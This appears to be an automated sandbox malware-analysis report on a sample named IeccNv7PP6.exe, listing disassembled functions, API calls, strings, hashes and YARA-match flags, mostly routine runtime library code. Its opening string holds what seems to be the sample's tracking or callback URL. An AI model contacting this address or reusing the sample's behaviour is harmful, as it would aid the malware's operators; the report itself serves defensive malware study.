String ID: &cc=DE$https://post-to-me.com/track_prt.php?sub=
API String ID: 3381584094-4083784958
Opcode ID: f722d498d47d2f0aeabff3c67fdeace8084b2a701aad829f7b28d117417d8525
Instruction ID: 224a4663f9932cef4b4c616c0b5c062bd8d8fb719bdb58e177585f78aac60184
Opcode Fuzzy Hash: f722d498d47d2f0aeabff3c67fdeace8084b2a701aad829f7b28d117417d8525
Instruction Fuzzy Hash: 33516395A65344A8E320EFB0FC52B353378EF58712F10643BE518CB2B2F7A19984875E

Function 0042F738 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\IeccNv7PP6.exe,00000104), ref: 0042F773
_free.LIBCMT ref: 0042F83E
_free.LIBCMT ref: 0042F848

Strings

C:\Users\user\Desktop\IeccNv7PP6.exe, xrefs: 0042F76A, 0042F771, 0042F7A0, 0042F7D8

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\IeccNv7PP6.exe
API String ID: 2506810119-779230458
Opcode ID: 3308642da0636a63a4a634081c543339ebae9412bef6dab2f9d0c3185595a996
Instruction ID: 2f2bce9173a2d2ca0187e045b48802aae097e8e7c4f0e2c97b909a8c245fc2df
Opcode Fuzzy Hash: 3308642da0636a63a4a634081c543339ebae9412bef6dab2f9d0c3185595a996
Instruction Fuzzy Hash: 47319371B00228ABDB21EF99AC8189FBBFCEF95314B90407BE80497211D7749E45CB59

Function 0465F99F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\IeccNv7PP6.exe,00000104), ref: 0465F9DA
_free.LIBCMT ref: 0465FAA5
_free.LIBCMT ref: 0465FAAF

Strings

C:\Users\user\Desktop\IeccNv7PP6.exe, xrefs: 0465F9D1, 0465F9D8, 0465FA07, 0465FA3F

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\IeccNv7PP6.exe
API String ID: 2506810119-779230458
Opcode ID: 344658832b7440f505bc5ce5f5f759f624a1cc75f0f479e4bcaf167d51fbcba4
Instruction ID: 2240d2494c7af73e6c4d0f673f253ece56a94111903c64767a1c331cd8a53298
Opcode Fuzzy Hash: 344658832b7440f505bc5ce5f5f759f624a1cc75f0f479e4bcaf167d51fbcba4
Instruction Fuzzy Hash: 9C318D71A00258EBDB25DF99DC8099EBBFCEF99314F10416AEC05D7321E670AA41CB95

Function 04653044 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetRealizedChore.LIBCONCRT ref: 04653071

Part of subcall function 04648AD2: RtlInterlockedPopEntrySList.NTDLL(?), ref: 04648ADD

SafeSQueue.LIBCONCRT ref: 0465308A
Concurrency::location::_Assign.LIBCMT ref: 0465314A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0465316B
__CxxThrowException@8.LIBVCRUNTIME ref: 04653179

Strings

11@, xrefs: 04653120, 04653152

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: AssignBase::ChoreConcurrency::details::Concurrency::location::_EntryException@8InterlockedListQueueRealizedSafeSchedulerThrowstd::invalid_argument::invalid_argument
String ID: 11@
API String ID: 3496964030-1785270423
Opcode ID: f5b94dce39a4837ba2e296382e939281c1cc6f51ac582c5d2e9b37c10b4daf25
Instruction ID: fe3873cfe8d1a8b5250e7ad844437784b1940ec017764c490b53c800cbcaf26e
Opcode Fuzzy Hash: f5b94dce39a4837ba2e296382e939281c1cc6f51ac582c5d2e9b37c10b4daf25
Instruction Fuzzy Hash: 3A21CF357006019FDF16AF78C890AAEBBA1AF85754F08819DDD468F362EB70F845CB91

Function 04659053 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,046621E4), ref: 0465E220
GetLastError.KERNEL32(00457910,00000010,00000003,046621E4), ref: 0465E25A
RtlExitUserThread.NTDLL(00000000), ref: 0465E261

Strings

11@, xrefs: 0465E296

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorExitFeatureLastPresentProcessorThreadUser
String ID: 11@
API String ID: 1079102050-1785270423
Opcode ID: 8b5411bbe6c94bee456d29a8542aa325eb684c89ca07275a9873d682f3d1ed15
Instruction ID: 44cfd63863584f17061151ce4bfe24b3768f8246b36d0ffa6206d2e97a317ccb
Opcode Fuzzy Hash: 8b5411bbe6c94bee456d29a8542aa325eb684c89ca07275a9873d682f3d1ed15
Instruction Fuzzy Hash: 96112770640305AAFF047B70FC0AB6D3764AF15B08F10056CFD029B2E1FFA2BA408669

Function 0465E204 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,046621E4), ref: 0465E220
GetLastError.KERNEL32(00457910,00000010,00000003,046621E4), ref: 0465E25A
RtlExitUserThread.NTDLL(00000000), ref: 0465E261

Strings

11@, xrefs: 0465E296

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorExitFeatureLastPresentProcessorThreadUser
String ID: 11@
API String ID: 1079102050-1785270423
Opcode ID: 5e5341ce53e2f92f90f8bdb878e6b423528209b15d53d5dd393f874dedd460f1
Instruction ID: 701fd139e49c84ef93cc0be0c410a2352e81669b59ac425e0737811574165721
Opcode Fuzzy Hash: 5e5341ce53e2f92f90f8bdb878e6b423528209b15d53d5dd393f874dedd460f1
Instruction Fuzzy Hash: 22110A70640304AAFF047B70FC0AB6D3765AF15B08F10015CFD069B2E1FBA27A019669

Function 0040EF4B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000D,?,0040DE66,0040C67E,?,?,00000000,?,0040C54E,0045D5E4,0040C51B,0045D5DC,?,ios_base::failbit set,0040C67E), ref: 0040EFCF

Strings

11@, xrefs: 0040EF6B, 0040EFB5
f(@, xrefs: 0040EF4E

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast
String ID: 11@$f(@
API String ID: 1452528299-1277599000
Opcode ID: 28a02ce365c990727b7b4e8bf51613b6bc71088fada4a4c5b2d2716d252c928d
Instruction ID: 215b6f0c2c260135b977075f1765c75d61afaaca07cd8a2d2b7a33b83608daf3
Opcode Fuzzy Hash: 28a02ce365c990727b7b4e8bf51613b6bc71088fada4a4c5b2d2716d252c928d
Instruction Fuzzy Hash: 24110236204117BFCF125F62DC4456BBB65FF08712B14443AF905AB290DA749820ABD5

Function 00425F1B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingRing::GetPseudoRRNonAffineScheduleGroupSegment.LIBCMT ref: 00425F2D

Part of subcall function 00424EFA: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00424F17
Part of subcall function 00424EFA: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00424F2C

Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00425F60
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00425F8B

Strings

11@, xrefs: 00425F43

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::$GroupRing::ScheduleSchedulingSegment$FindWork$AffineItemItem::NextPseudo
String ID: 11@
API String ID: 2684344702-1785270423
Opcode ID: 32a001647ef642d3bdab98332db3e62f94cdd661e171078b1986cfd9e8451c46
Instruction ID: cb3a2859ed7aecbb53c8f7ff5db8590c6937c5e0b26f296ff23853c6e0f13c92
Opcode Fuzzy Hash: 32a001647ef642d3bdab98332db3e62f94cdd661e171078b1986cfd9e8451c46
Instruction Fuzzy Hash: CB01DB35700629ABCF01DF54D5808AE77B9EF89354B55006AEC06DB301DA34DE05DB60

Function 04656182 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingRing::GetPseudoRRNonAffineScheduleGroupSegment.LIBCMT ref: 04656194

Part of subcall function 04655161: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 0465517E
Part of subcall function 04655161: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 04655193

Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 046561C7
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 046561F2

Strings

11@, xrefs: 046561AA

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GroupRing::ScheduleSchedulingSegment$FindWork$AffineItemItem::NextPseudo
String ID: 11@
API String ID: 2684344702-1785270423
Opcode ID: 32a001647ef642d3bdab98332db3e62f94cdd661e171078b1986cfd9e8451c46
Instruction ID: 4a803f136972cc74494b6298320d1e9817fe696c092c7ac69ee698b34196a873
Opcode Fuzzy Hash: 32a001647ef642d3bdab98332db3e62f94cdd661e171078b1986cfd9e8451c46
Instruction Fuzzy Hash: 90018475600619ABCF15EF58C5809AE77BAEF89354F540069EC06AB301EA30FE05D7A0

Function 0040D4EB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00411B62

Part of subcall function 00410A71: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 00410A84
Part of subcall function 00410A71: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00410A8E

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00411B7B
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00411BC1

Strings

11@, xrefs: 00411BAC

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::Concurrency::details::_LockLock::_Node::QueueScoped_lock$Acquire_lockConcurrency::critical_section::_EventNodeReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter
String ID: 11@
API String ID: 2524916244-1785270423
Opcode ID: c968d17d0eadf1c0e28c283ecf804fc7f7f2f76cc6bcee2e82d4d123140e7899
Instruction ID: 77abca4beb8e4c97e8764394de2025186321a16057fa486c0768a76d67dfeb06
Opcode Fuzzy Hash: c968d17d0eadf1c0e28c283ecf804fc7f7f2f76cc6bcee2e82d4d123140e7899
Instruction Fuzzy Hash: D201D6359042248BDF11AB50C450BFDB372AF84714F1440AADA116B3A5DBBCBE41C799

Function 0463D752 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 04641DC9

Part of subcall function 04640CD8: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 04640CEB
Part of subcall function 04640CD8: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 04640CF5

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 04641DE2
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 04641E28

Strings

11@, xrefs: 04641E13

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Concurrency::details::_LockLock::_Node::QueueScoped_lock$Acquire_lockConcurrency::critical_section::_EventNodeReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter
String ID: 11@
API String ID: 2524916244-1785270423
Opcode ID: c968d17d0eadf1c0e28c283ecf804fc7f7f2f76cc6bcee2e82d4d123140e7899
Instruction ID: c57706f7e2148ac647e19e5d1e0439a7fcb1ac9c2c22103217a2d6da1394778b
Opcode Fuzzy Hash: c968d17d0eadf1c0e28c283ecf804fc7f7f2f76cc6bcee2e82d4d123140e7899
Instruction Fuzzy Hash: DE01CC79A002208BEF15AB60C8587EDB3B2AFC6354F18404AC9026B384FF74BA45CB91

Function 0041DA2B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041DA73
__CxxThrowException@8.LIBVCRUNTIME ref: 0041DA81

Strings

11@, xrefs: 0041DA44, 0041DA5A
pContext, xrefs: 0041DA6B

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: 11@$pContext
API String ID: 1687795959-1086721755
Opcode ID: 96630a8d32283315eac16341535568e0e7a28a07d001f012752ce8a5bf4e8c9b
Instruction ID: 9010ffe1b6885ba769d18c3576365b3581292a7ba769087c8389302fb8d97d4f
Opcode Fuzzy Hash: 96630a8d32283315eac16341535568e0e7a28a07d001f012752ce8a5bf4e8c9b
Instruction Fuzzy Hash: B5F0593AB006159BCB04EB59DC45C5EF7A8AF85B64710007BFD01E3342CFB8EE058698

Function 0466016B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,004496AC,00000000,?,?,?,0466011C,00000000,?,046600BC,00000000,00457970,0000000C,04660213,00000000,00000002), ref: 0466018B
GetProcAddress.KERNEL32(00000000,004496C4), ref: 0466019E
FreeLibrary.KERNEL32(00000000,?,?,?,0466011C,00000000,?,046600BC,00000000,00457970,0000000C,04660213,00000000,00000002), ref: 046601C1

Strings

11@, xrefs: 046601AF

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: 11@
API String ID: 4061214504-1785270423
Opcode ID: ec107a19a1f6916f8ddc3040fc448cd7ce5ab95be265ea966da4c8f834c9d8ef
Instruction ID: 02516f90d370428f744b501ffdc560a9575016adf5aa4918c646c727a138696b
Opcode Fuzzy Hash: ec107a19a1f6916f8ddc3040fc448cd7ce5ab95be265ea966da4c8f834c9d8ef
Instruction Fuzzy Hash: 03F06834A00219FBDB15DF90DC49BAEFFB4EF15B12F1001B5F806A2250DB759A40DE58

Function 0463C8A4 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0463C903

Strings

ios_base::badbit set, xrefs: 0463C8C6, 0463C8E6
ios_base::failbit set, xrefs: 0463C8D0
ios_base::eofbit set, xrefs: 0463C8D5

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: 952463f700e975f9eb06248a0959d2f411cd4c1788934f8d026916f96b121d51
Instruction ID: 0adb40f296cbaa45e654c70c0a114036025706cf3cc3a45724608de4af9fa9c6
Opcode Fuzzy Hash: 952463f700e975f9eb06248a0959d2f411cd4c1788934f8d026916f96b121d51
Instruction Fuzzy Hash: 41F02B73D002486AEB04EA54DC41BEA77A85B1534AF04806BFE167B182F778BA05C7A8

Function 00428DEC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00431F7D), ref: 0042DFB9
GetLastError.KERNEL32(00457910,00000010,00000003,00431F7D), ref: 0042DFF3
ExitThread.KERNEL32 ref: 0042DFFA

Strings

f(@, xrefs: 0042DFEC

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorExitFeatureLastPresentProcessorThread
String ID: f(@
API String ID: 3213686812-2560262586
Opcode ID: 77ac3720ff8c63f5b54c7ead9ba54d6db249791c5ee017c1279202a925d4012e
Instruction ID: 69bc41ef776010156a50f9e736d675acab369240ea0dcafc6817c09100241395
Opcode Fuzzy Hash: 77ac3720ff8c63f5b54c7ead9ba54d6db249791c5ee017c1279202a925d4012e
Instruction Fuzzy Hash: 1FF0E260B8432639FA2037A2BD0BBAA16150F24B0DF96042BBE0A991C3DE9C9551416D

Function 04670911 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 04670918
make_shared.LIBCPMT ref: 04670963

Strings

RCC, xrefs: 0467094A
MOC, xrefs: 0467093B

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchmake_shared
String ID: MOC$RCC
API String ID: 3472968176-2084237596
Opcode ID: c784227a34fd5b7084b2c87fc19ea1d0d793304ba4906a265f634d642bdce8b4
Instruction ID: a9ec40b86dc5ec832ffecb2600b3618d1c7ae9b813ec8c49f453365b0cc25d6b
Opcode Fuzzy Hash: c784227a34fd5b7084b2c87fc19ea1d0d793304ba4906a265f634d642bdce8b4
Instruction Fuzzy Hash: DFF04F70500116CFFB11AFA4C40166C7B64BF41B08F859096E9444B361EB78BE44CBA5

Function 0042DF9D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00431F7D), ref: 0042DFB9
GetLastError.KERNEL32(00457910,00000010,00000003,00431F7D), ref: 0042DFF3
ExitThread.KERNEL32 ref: 0042DFFA

Strings

f(@, xrefs: 0042DFEC, 0040F20C

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorExitFeatureLastPresentProcessorThread
String ID: f(@
API String ID: 3213686812-2560262586
Opcode ID: 7b9273de92e7b6936eaf880de14e0e220afece78540420b5bcfd49e854584d78
Instruction ID: 0285dfc7d7792d99b816c6e179ba3485ab9a4e2f62b66e3f0321d916b514c371
Opcode Fuzzy Hash: 7b9273de92e7b6936eaf880de14e0e220afece78540420b5bcfd49e854584d78
Instruction Fuzzy Hash: EEF0557078432535FA203BA2BD0FB961A240F10B0EF56002BBF09991C3DEEC9690416D

Function 004242E7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::DestroyVirtualProcessorRoot.LIBCONCRT ref: 00424319
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042432B
__CxxThrowException@8.LIBVCRUNTIME ref: 00424339

Strings

pScheduler, xrefs: 00424323

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::DestroyException@8ProcessorProxy::RootSchedulerThrowVirtualstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 1381464787-923244539
Opcode ID: 34e1c130fc1cf947503754e169bfa26c3fbc22ee7f1814df8cddcc9c2b5f3f5b
Instruction ID: dcb9093c936754fa26cda4c49a5e66a6ec85891f206a073b4e5aa53fece02954
Opcode Fuzzy Hash: 34e1c130fc1cf947503754e169bfa26c3fbc22ee7f1814df8cddcc9c2b5f3f5b
Instruction Fuzzy Hash: 23F0A731B0122467C718FB55E842D9E77B99E403087D0816FB802A3182CF7CA949C69D

Function 0464E8A4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0464E8C6
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0464E8D9
__CxxThrowException@8.LIBVCRUNTIME ref: 0464E8E7

Strings

11@, xrefs: 0464E8BA

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Exception@8FreeIdleProxyProxy::ReturnThreadThrowstd::invalid_argument::invalid_argument
String ID: 11@
API String ID: 1990795212-1785270423
Opcode ID: a1f300e0f29ed94639b3e21e46aa6b462f5911b6182861392c7cf2f18a492d1f
Instruction ID: a3bb46e020d7e9572504945e4c58a460536eff3de0e6fcffadf5fc2a65fefe92
Opcode Fuzzy Hash: a1f300e0f29ed94639b3e21e46aa6b462f5911b6182861392c7cf2f18a492d1f
Instruction Fuzzy Hash: 5AE0D839B0010867CF04FB69D845D5DB7ADAEC1A15B14016AED11A3391EFB4BA05C6D8

Function 0042E05D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,0042E12D,00000000), ref: 0042E073
FreeLibrary.KERNEL32(00000000,00000000,?,0042E12D,00000000), ref: 0042E082
_free.LIBCMT ref: 0042E089

Strings

-B, xrefs: 0042E063, 0042E088

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: CloseFreeHandleLibrary_free
String ID: -B
API String ID: 621396759-1993606306
Opcode ID: 0165a14a54266ee5ab41e8b6b77e2709d96a9db653e1905d24e2523b41a394a7
Instruction ID: 17050b68875c52b9acd6c54ac6ffc846a702ed9b00f998fe1c0864977ee07d81
Opcode Fuzzy Hash: 0165a14a54266ee5ab41e8b6b77e2709d96a9db653e1905d24e2523b41a394a7
Instruction Fuzzy Hash: E9E08632101A34AFD7315F57F808B57BBD4EF15722F54C52AE41911560C7B9AD82CB9C

Function 00415DAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00415DDA
__CxxThrowException@8.LIBVCRUNTIME ref: 00415DE8

Strings

version, xrefs: 00415DBF
pScheduler, xrefs: 00415DD2

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 1687795959-3154422776
Opcode ID: 4d660d84671934de918ba001a7b24dcb35a14defb486b3a9e887b252b602c9d4
Instruction ID: 654ef00f808b34ad7b75b8e59998346ebad61dbc4125ce9a21f33dce7aa536fc
Opcode Fuzzy Hash: 4d660d84671934de918ba001a7b24dcb35a14defb486b3a9e887b252b602c9d4
Instruction Fuzzy Hash: 5CE04F30900608F6CB14AA55D80ABDD77A45B11749F60C02B7855610D29ABCA6D8CB4A

Function 004358B8 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00435943
__alldvrm.LIBCMT ref: 00435B44
__alldvrm.LIBCMT ref: 00435B66

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: c132ce8b7a779d48d325dc1464a826f382782a4d305ff920fa0063c7638d007e
Instruction ID: f9eb826db87fdf2ea4d980863b0040f81c60248b0af39ab0b887e88b27670142
Opcode Fuzzy Hash: c132ce8b7a779d48d325dc1464a826f382782a4d305ff920fa0063c7638d007e
Instruction Fuzzy Hash: BEA14871A00B869FEB11DE18C8917AEFBE5EF19310F18426FE5859B381C27C9D41C799

Function 04665B1F Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04665BAA
__alldvrm.LIBCMT ref: 04665DAB
__alldvrm.LIBCMT ref: 04665DCD

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 64c4271fdf953b23329a06ffcbcc4f91b3e2631876221f6b3ba7206c8ff3dfb5
Instruction ID: 5803ae641eb36f4446d44192704193fe412158ff8bfcfd18ec0617cce0830331
Opcode Fuzzy Hash: 64c4271fdf953b23329a06ffcbcc4f91b3e2631876221f6b3ba7206c8ff3dfb5
Instruction Fuzzy Hash: BBA15A72A00386BFEB21CF18D8927AEBBE4EF62314F14416ED5879B381F634A941C754

Function 0043FA28 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0043FB57

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 84a4b3704c3f7d6daab1b53251b5dd7fc6fa1148bfcc679931bd75404ad43a52
Instruction ID: 944ec9a8cfd15a85abea22ed7e483bbecdcf94b25d0ac16da2a86ed09b95ce29
Opcode Fuzzy Hash: 84a4b3704c3f7d6daab1b53251b5dd7fc6fa1148bfcc679931bd75404ad43a52
Instruction Fuzzy Hash: E8414771E00210AADB247BBBDC52ABF76A8EF4D334F14127BF418C6291D67C9D49826D

Function 0466FC8F Relevance: 6.2, APIs: 4, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0466FDBE

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: bd0f664e10209082f8b28efdae44aad90b5cc59672f94763d63ba3a93ec53303
Instruction ID: efeac69ada4b79e76b55e74ff17945552466c6e934c1e34dcf938052ab5afdb0
